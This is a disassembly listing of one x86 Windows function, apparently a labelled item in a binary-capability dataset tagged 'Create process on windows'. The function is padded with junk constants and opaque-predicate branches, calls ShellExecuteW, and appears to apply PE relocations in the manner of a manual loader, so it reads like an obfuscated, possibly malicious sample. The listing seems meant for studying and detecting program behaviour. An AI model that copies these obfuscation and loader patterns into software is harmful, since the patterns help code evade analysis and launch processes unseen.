Function at 0x1002cd12
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10075b9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x204
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1002d88c
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x148], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x78], 0x3b8c105a
mov dword [ebp - 0x64], 0x6bc22736
mov dword [ebp - 0x30], 0x245c
mov dword [ebp - 0xb0], 0x1031c36b
push 1
lea ecx, [ebp - 0x160]
call fcn.1001737c
and dword [ebp - 4], 0
mov dword [ebp - 0x5c], 0x53b
lea eax, [ebp - 0x160]
push eax
push 0
push 0x2313
lea eax, [ebp - 0x1d0]
push eax
call fcn.10030121
add esp, 0x10
mov dword [ebp - 0x78], 0x67d9
cmp dword [ebp - 0x78], 0xc4ae
je 0x1002cdd9
mov dword [ebp - 0x6c], 1
jmp 0x1002cddd
and dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x6c], eax
jg 0x1002cdf1
mov dword [ebp - 0x144], 1
jmp 0x1002cdf8
and dword [ebp - 0x144], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x58], eax
jge 0x1002ce24
mov dword [ebp - 0x74], 1
jmp 0x1002ce28
and dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x74], eax
je 0x1002ce3c
mov dword [ebp - 0xd0], 1
jmp 0x1002ce43
and dword [ebp - 0xd0], 0
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x1002ce5e
cmp dword [ebp - 0x30], 0
jne 0x1002ce5e
and dword [ebp - 0x80], 0
jmp 0x1002ce65
mov dword [ebp - 0x80], 1
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
imul eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x88]
sub ecx, eax
je 0x1002ce94
cmp dword [ebp - 0x30], 0
je 0x1002ce94
mov dword [ebp - 0xc8], 1
jmp 0x1002ce9b
and dword [ebp - 0xc8], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0xc8]
mov dword [ebp - 0x90], eax
push 0
lea ecx, [ebp - 0x160]
call fcn.1001740a
mov ecx, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x90], eax
jle 0x1002ced6
mov dword [ebp - 0xb8], 1
jmp 0x1002cedd
and dword [ebp - 0xb8], 0
cmp dword [ebp - 0xb8], 3
je 0x1002cef2
mov dword [ebp - 0x98], 1
jmp 0x1002cef9
and dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x98], eax
jge 0x1002cf10
mov dword [ebp - 0xd8], 1
jmp 0x1002cf17
and dword [ebp - 0xd8], 0
mov eax, dword [ebp - 0xd8]
sub eax, 0x3331e340
je 0x1002cf9f
cmp dword [ebp - 0x5c], 0
je 0x1002cf9f
cmp dword [ebp - 0x58], 0
je 0x1002cf9f
mov dword [ebp - 0xec], 0x5ce4ec6f
mov dword [ebp - 0x154], 0
push 0x4d05
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0xec]
push eax
push 0
push 0x39c8
lea eax, [ebp - 0x64]
push eax
push 0x3554
lea eax, [ebp - 0x30]
push eax
call fcn.1002efc1
add esp, 0x28
mov byte [ebp - 0x15], 0
push 0xfa7
push 0
push 0x4c2
lea eax, [ebp - 0x15]
push eax
call fcn.1002c96c
add esp, 0x10
jmp 0x1002d030
mov dword [ebp - 0x18c], 0xfffffffe
mov dword [ebp - 0x1d8], 0x85aa1ede
mov dword [ebp - 0x200], 0x81b1d0b8
mov dword [ebp - 0x100], 0xf61160dd
mov dword [ebp - 0x130], 4
mov dword [ebp - 0x194], 1
mov dword [ebp - 0x1fc], 0xc0f86f4c
mov dword [ebp - 0x19c], 6
mov dword [ebp - 0xf8], 0xfffffffc
push 0
lea eax, [ebp - 0xf8]
push eax
call fcn.1002df70
pop ecx
pop ecx
push 0x5a8f
push 0
push 0x73dd
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x100]
push eax
push 0x6eee
call fcn.1002da7f
add esp, 0x18
mov byte [ebp - 0x1f], 0
movzx eax, byte [ebp - 0x1f]
test eax, eax
je 0x1002d056
push 0x2277
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x160]
call fcn.10017405
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
add ecx, dword [eax]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x110], 0x815cbcef
mov dword [ebp - 0x1cc], 2
mov dword [ebp - 0x1a4], 0xfffffffc
mov dword [ebp - 0x1ec], 0xffffffff
mov dword [ebp - 0x1ac], 0xeb8e136d
mov dword [ebp - 0x1d4], 0xffffffff
mov dword [ebp - 0x1b4], 0xfffffffb
mov dword [ebp - 0x204], 1
mov dword [ebp - 0x3c], 0
jmp 0x1002d0df
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1002d0f5
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x210], 0
jmp 0x1002d0d8
mov dword [ebp - 0x2c], 0
jmp 0x1002d105
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe7
jg 0x1002d23a
mov dword [ebp - 0x54], 0x85c6f1bf
push 4
lea ecx, [ebp - 0x1e8]
call fcn.1001737c
mov dword [ebp - 4], 1
lea eax, [ebp - 0x1e8]
push eax
push 0x7de
push 0x261
push 0
lea eax, [ebp - 0x28]
push eax
call fcn.1002dfa7
add esp, 0x14
mov dword [ebp - 0x28], 0
jmp 0x1002d159
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jge 0x1002d16f
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa0], 0x11de2a90
jmp 0x1002d152
mov dword [ebp - 0x54], 0xfffffff2
jmp 0x1002d17f
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xffffffec
jge 0x1002d226
mov dword [ebp - 0x138], 7
mov dword [ebp - 0x108], 9
mov dword [ebp - 0x1bc], 0xffffffff
mov dword [ebp - 0x1dc], 0x3648bd92
mov dword [ebp - 0x1c4], 0xb1510afb
mov dword [ebp - 0x190], 0x5378470e
mov dword [ebp - 0x198], 4
mov dword [ebp - 0x1a0], 0x5f5a2f61
mov dword [ebp - 0x1a8], 0xe458c458
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x110]
push eax
push 1
call fcn.1002c8ba
add esp, 0x14
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa0], eax
jmp 0x1002d178
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e8]
call fcn.10017405
jmp 0x1002d0fe
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
add eax, 8
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x118], 0xb0ceafd
mov dword [ebp - 0x128], 0xca968364
mov dword [ebp - 0xf0], 0xb0ae28de
mov dword [ebp - 0x120], 0xb1510afb
mov dword [ebp - 0x14c], 1
mov dword [ebp - 0x140], 0
push 1
lea ecx, [ebp - 0x178]
call fcn.1001737c
mov dword [ebp - 4], 2
mov dword [ebp - 0x150], 1
mov dword [ebp - 0x44], 0
jmp 0x1002d2af
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x1002d2cb
push dword [ebp - 0x44]
lea ecx, [ebp - 0x178]
call fcn.1001740a
mov dword [eax], 4
jmp 0x1002d2a8
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x118]
push eax
push 0x2a19
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x120]
push eax
push 0
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.1002e1e4
add esp, 0x28
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.10017405
and dword [ebp - 0x60], 0
jmp 0x1002d336
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x38]
inc eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
cmp dword [ebp - 0x60], eax
jae 0x1002d87d
push 3
lea ecx, [ebp - 0x1f8]
call fcn.1001737c
mov dword [ebp - 4], 3
mov dword [ebp - 0x4c], 0x6aabecba
mov dword [ebp - 0x1b0], 0x9f3690f1
mov dword [ebp - 0x50], 0
jmp 0x1002d381
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x1002d39d
push dword [ebp - 0x50]
lea ecx, [ebp - 0x1f8]
call fcn.1001740a
mov dword [eax], 0x313dd33a
jmp 0x1002d37a
mov dword [ebp - 0x4c], 0
jmp 0x1002d3ad
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jg 0x1002d3df
mov dword [ebp - 0xf4], 0
push 0
push 0x3124
push 0x54de
lea eax, [ebp - 0xf4]
push eax
push 0x552a
call fcn.1002cd12
add esp, 0x14
jmp 0x1002d3a6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1f8]
call fcn.10017405
lea eax, [ebp - 0x114]
push eax
push 1
lea eax, [ebp - 0x38]
push eax
push 0x18f3
call fcn.1002c96c
add esp, 0x10
mov dword [ebp - 0xfc], 0
push 2
lea ecx, [ebp - 0x16c]
call fcn.1001737c
mov dword [ebp - 4], 4
mov dword [ebp - 0x34], 0
jmp 0x1002d436
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jge 0x1002d452
push dword [ebp - 0x34]
lea ecx, [ebp - 0x16c]
call fcn.1001740a
mov dword [eax], 4
jmp 0x1002d42f
push 0x4e08
push 0x1a03
lea eax, [ebp - 0xfc]
push eax
push 0
lea eax, [ebp - 0x16c]
push eax
call fcn.1002e051
add esp, 0x14
mov byte [ebp - 0x16], 0
push 0x3118
push 1
push 0x1adc
lea eax, [ebp - 0x16]
push eax
call fcn.1002c9d0
add esp, 0x10
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16c]
call fcn.10017405
mov eax, dword [ebp - 0x38]
movzx eax, word [eax]
and eax, 0xfff
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], 0xb905d09e
mov dword [ebp - 0x1c], 0xbd29a2a6
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1002d4d9
mov dword [ebp - 0xc0], 1
jmp 0x1002d4e0
and dword [ebp - 0xc0], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1002d50e
mov byte [ebp - 0x1e], 0
movzx eax, byte [ebp - 0x1e]
test eax, eax
je 0x1002d509
push 0x3da3
push 0
call fcn.1002cc7e
pop ecx
pop ecx
jmp 0x1002d835
push 2
lea ecx, [ebp - 0xe8]
call fcn.1001737c
mov dword [ebp - 4], 5
lea eax, [ebp - 0x1b8]
push eax
push 0xc44
push 0x51f7
lea eax, [ebp - 0xe8]
push eax
push 1
push 0x5e1
push 0x767e
push 0x44d3
push 0x1979
call fcn.1002ca52
add esp, 0x24
mov dword [ebp - 0x14], 0
jmp 0x1002d568
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jg 0x1002d7e8
mov dword [ebp - 0x68], 0xff529126
mov dword [ebp - 0x40], 0
jmp 0x1002d589
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jge 0x1002d59f
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x188], 2
jmp 0x1002d582
mov dword [ebp - 0x10], 0
jmp 0x1002d5af
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jg 0x1002d7e3
mov dword [ebp - 0x104], 0xfc331464
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14], eax
je 0x1002d5d7
mov dword [ebp - 0xa8], 1
jmp 0x1002d5de
and dword [ebp - 0xa8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xa8], eax
jne 0x1002d5f2
mov dword [ebp - 0x70], 1
jmp 0x1002d5f6
and dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x70]
jge 0x1002d607
mov dword [ebp - 0x7c], 1
jmp 0x1002d60b
and dword [ebp - 0x7c], 0
cmp dword [ebp - 0x7c], 0xd711a53f
jbe 0x1002d620
mov dword [ebp - 0x84], 1
jmp 0x1002d627
and dword [ebp - 0x84], 0
push 0
lea ecx, [ebp - 0xe8]
call fcn.1001740a
mov ecx, dword [ebp - 0x84]
cmp ecx, dword [eax]
jge 0x1002d64a
mov dword [ebp - 0x8c], 1
jmp 0x1002d651
and dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x8c], eax
jl 0x1002d668
mov dword [ebp - 0x94], 1
jmp 0x1002d66f
and dword [ebp - 0x94], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0x94], eax
je 0x1002d690
mov dword [ebp - 0x9c], 1
jmp 0x1002d697
and dword [ebp - 0x9c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x9c]
neg ecx
add ecx, 0x6c56d20a
cmp dword [ebp + eax - 0x188], ecx
jg 0x1002d6c9
mov eax, 0x1cc545e2
test eax, eax
je 0x1002d6c9
mov dword [ebp - 0xa4], 1
jmp 0x1002d6d0
and dword [ebp - 0xa4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0xa4], eax
je 0x1002d6f0
mov dword [ebp - 0xac], 1
jmp 0x1002d6f7
and dword [ebp - 0xac], 0
push 0
lea ecx, [ebp - 0xe8]
call fcn.1001740a
mov ecx, dword [ebp - 0xac]
cmp ecx, dword [eax]
je 0x1002d71a
mov dword [ebp - 0xb4], 1
jmp 0x1002d721
and dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0xb4]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 9
jae 0x1002d73f
mov dword [ebp - 0xbc], 1
jmp 0x1002d746
and dword [ebp - 0xbc], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x188]
cmp dword [ebp - 0xbc], eax
je 0x1002d76d
cmp dword [ebp - 0x1c], 0
je 0x1002d76d
mov dword [ebp - 0xc4], 1
jmp 0x1002d774
and dword [ebp - 0xc4], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe8]
call fcn.1001740a
mov eax, dword [eax]
cmp eax, dword [ebp - 0xc4]
jle 0x1002d7b4
mov eax, 0x46aa1dd
test eax, eax
je 0x1002d7b4
push dword [ebp - 0x10]
lea ecx, [ebp - 0xe8]
call fcn.1001740a
cmp dword [eax], 0
je 0x1002d7b4
mov dword [ebp - 0xcc], 1
jmp 0x1002d7bb
and dword [ebp - 0xcc], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x104], eax
push 1
lea ecx, [ebp - 0xe8]
call fcn.1001740a
cmp dword [eax], 0
je 0x1002d7de
jmp 0x1002d5a8
jmp 0x1002d5a8
jmp 0x1002d561
mov dword [ebp - 0x1c], 0xfffffffe
jmp 0x1002d7f8
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jne 0x1002d826
mov dword [ebp - 0x10c], 0xfffc
mov byte [ebp - 0x1d], 0
lea eax, [ebp - 0x1d]
push eax
push 1
call fcn.1002cc7e
pop ecx
pop ecx
cmp dword [ebp - 0x10c], 0
je 0x1002d824
jmp 0x1002d826
jmp 0x1002d7f1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8]
call fcn.10017405
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 3
je 0x1002d84e
jmp 0x1002d878
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x12c]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x134]
add eax, dword [ecx]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
jmp 0x1002d327
lea eax, [ebp - 0x48]
push eax
push 1
call fcn.1002cccc
pop ecx
pop ecx
jmp 0x1002d8b2
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xdc]
mov dword [ecx], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret